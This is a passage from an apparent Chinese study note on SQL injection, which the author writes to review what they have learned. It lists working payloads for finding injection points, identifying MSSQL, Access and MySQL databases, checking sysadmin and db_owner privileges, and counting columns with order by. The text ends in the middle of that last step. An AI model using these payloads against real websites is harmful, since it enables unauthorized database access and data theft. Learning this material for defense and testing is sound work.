SQL注入
暑假无聊,想着整理一下学过的知识,总结一下常见的知识点,濒危下一步的学习打下基础,这是系列第一篇:SQL注入
1、SQL注入原理
SQL注入是因为过于信任用户,未对用户的输入进行过滤,攻击者可以通过将恶意的Sql查询或添加语句插入到应用的输入参数中,再在后台Sql服务器上解析执行,进行攻击
2、SQL注入流程
1、判断注入点及注入类型:
粗略型:提交单引号’
逻辑型(数字型注入):and 1=1/and 1=2
逻辑型(字符型注入):’ and ‘1’=‘1/’ and ‘1’='2
逻辑型(搜索型注入):%’ and 1=1 and ‘%’=’%/%’ and 1=2 and ‘%’=’%
2、简单判断数据库信息:
粗略型:
加单引号’(根据服务器报错的信息来判断)
加;–(;表示分离,-- 则是注释符,;和–MSSQL数据库有,ACCESS数据库没有)
逻辑型:
and user>0
and (select count(*) from msysobjects)>0 ……(页面错误为access数据库)
and (select count(*) from sysobjects)>0 ……(页面正常为MSSQL数据库)
and db_name()>0 ……(爆数据库名)
and version>0(爆SQLServer版本信息以及服务器操作系统的类型和版本信息)
判断MSSQL权限:
and 0<>(Select ISSRVROLEMEMBER(‘sysadmin’))–(页面正常则为SA)
and 0<>(Select IS_MEMBER(‘db_owner’))–(页面正常则为db_owner)
and 0<>(Select IS_MEMBER(‘public’))–(页面正常则是public)
注意:
以上方法适用于参数是int数字型的时候。
若为字符型,需在参数后添加单引号’并在查询语句后添加;–,搜索型注入以此类推。
判断MYSQL权限:
and ord(mid(user(),1,1))=114 /* (页面正常说明为root)
3、猜解数据库、数据库名、表名、字段名、字段内容
(1)mysql数据库:
假设注入点为?id=1
判断字段数:
order by方法: ?id=1 order by x-- (将x修改为1